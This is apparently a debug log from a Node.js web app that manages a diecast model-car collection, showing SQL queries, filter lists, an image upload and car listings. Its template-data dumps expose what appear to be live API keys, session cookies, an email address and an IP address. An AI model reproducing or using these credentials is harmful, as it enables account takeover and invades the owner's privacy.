      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:06:08.983Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:06:08.986Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:06:08.986Z server-connect:app Executing action step identify
2026-02-04T10:06:08.986Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.986Z server-connect:output identity: 1
2026-02-04T10:06:08.986Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.987Z server-connect:output restrict: undefined
2026-02-04T10:06:08.987Z server-connect:app Executing action step select
2026-02-04T10:06:08.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:06:08.988Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:06:08.988Z server-connect:app Executing action step select
2026-02-04T10:06:08.988Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:06:08.988Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:06:08.988Z server-connect:app Executing action step select
2026-02-04T10:06:08.988Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:06:08.989Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:06:09.222Z server-connect:router Serving templateView /
2026-02-04T10:06:09.223Z server-connect:app Executing action step identify
2026-02-04T10:06:09.223Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:09.223Z server-connect:output identity: 1
2026-02-04T10:06:09.223Z server-connect:app Executing action step restrict
2026-02-04T10:06:09.223Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:09.223Z server-connect:output restrict: undefined
2026-02-04T10:06:09.223Z server-connect:app Executing action step restrict
2026-02-04T10:06:09.223Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:09.223Z server-connect:output restrict: undefined
2026-02-04T10:06:09.223Z server-connect:router Render template layouts/main
2026-02-04T10:06:09.224Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:06:14.977Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:06:14.977Z server-connect:app Executing action step identify
2026-02-04T10:06:14.977Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:14.977Z server-connect:output identity: 1
2026-02-04T10:06:14.978Z server-connect:app Executing action step restrict
2026-02-04T10:06:14.978Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:14.978Z server-connect:output restrict: undefined
2026-02-04T10:06:14.978Z server-connect:app Executing action step condition
2026-02-04T10:06:14.978Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:06:14.978Z server-connect:app Executing action step update
2026-02-04T10:06:14.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:06:14.979Z server-connect:output update: { affected: 1 }
2026-02-04T10:06:14.980Z server-connect:app Executing action step upload
2026-02-04T10:06:14.980Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:06:14.980Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:06:14.980Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:06:14.980Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 153549.png',
  data: <Buffer >,
  size: 311173,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-38-20378841770199574975',
  truncated: false,
  mimetype: 'image/png',
  md5: '25a81b7bfd5248e7298301378e3ed913',
  mv: [Function: mv]
}
2026-02-04T10:06:14.980Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png'
}
2026-02-04T10:06:14.980Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png'
}
2026-02-04T10:06:14.980Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png',
    url: '/assets/images/diecast/Screenshot_2026-02-04_153549_07dd9ddd-dfaa-4a13-ae37-a70b8e6d6cd6.png',
    type: 'image/png',
    size: 311173
  }
]
2026-02-04T10:06:14.980Z server-connect:app Executing action step repeat
2026-02-04T10:06:14.980Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:06:14.980Z server-connect:app Executing action step insert
2026-02-04T10:06:14.980Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:06:14.981Z server-connect:output images: { affected: 1, identity: 189 }
2026-02-04T10:06:14.981Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:06:14.981Z server-connect:output condition: undefined
2026-02-04T10:06:15.213Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:06:15.213Z server-connect:app Executing action step identify
2026-02-04T10:06:15.213Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:15.213Z server-connect:output identity: 1
2026-02-04T10:06:15.213Z server-connect:app Executing action step restrict
2026-02-04T10:06:15.213Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:15.213Z server-connect:output restrict: undefined
2026-02-04T10:06:15.214Z server-connect:app Executing action step paged
2026-02-04T10:06:15.214Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:06:15.216Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:06:15.437Z server-connect:router Serving templateView /
2026-02-04T10:06:15.437Z server-connect:app Executing action step identify
2026-02-04T10:06:15.437Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:15.437Z server-connect:output identity: 1
2026-02-04T10:06:15.438Z server-connect:app Executing action step restrict
2026-02-04T10:06:15.438Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:15.438Z server-connect:output restrict: undefined
2026-02-04T10:06:15.438Z server-connect:app Executing action step restrict
2026-02-04T10:06:15.438Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:15.438Z server-connect:output restrict: undefined
2026-02-04T10:06:15.438Z server-connect:router Render template layouts/main
2026-02-04T10:06:15.438Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
